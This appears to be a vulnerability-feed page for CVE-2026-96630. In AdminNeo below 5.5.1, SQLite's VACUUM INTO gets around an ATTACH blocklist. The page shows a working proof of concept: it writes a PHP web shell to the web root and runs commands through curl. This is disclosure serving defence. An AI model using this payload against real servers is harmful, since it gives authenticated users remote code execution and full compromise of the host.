Live › vulnerability › CVE-2026-96630
AdminNeo blocks SQLite ATTACH queries but not VACUUM INTO, which writes a database file with attacker-chosen content to any path and extension. An authenticated SQLite user can plant PHP code in the web root and run commands on the server.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-30 22:51 UTC. All times on this page are UTC.
AdminNeo versions below 5.5.1 are exposed when a logged-in user can run SQL through the SQLite driver. The written file lands in a web-accessible path, so the risk is highest where the PHP process can write to the web root. Installations without the SQLite driver, or without any login exposed to untrusted users, are less exposed.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| adminneo-org/adminneo | composer | < 5.5.1 | 5.5.1 |
adminneo-org/adminneo version is below 5.5.1 in composer.lock or vendor/5.5.1Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
Adminer blocks ATTACH queries for SQLite to prevent arbitrary file creation. However, VACUUM INTO is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.
Originally reported in Adminer: GHSA-q4f2-39gr-45jh
sql.inc.php, line 146:
if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
// blocked
}
Only ATTACH is in the blocklist. VACUUM INTO (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.
stage.db)Navigate to SQL command and execute:
CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';
The SQLite file is written to /var/www/html/shell.php. The table name containing <?php appears as raw bytes in the file. PHP's parser finds and executes it.
curl "http://TARGET/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)
This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
This page as .md · .json · in your agent: get_signal("CVE-2026-96630")
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.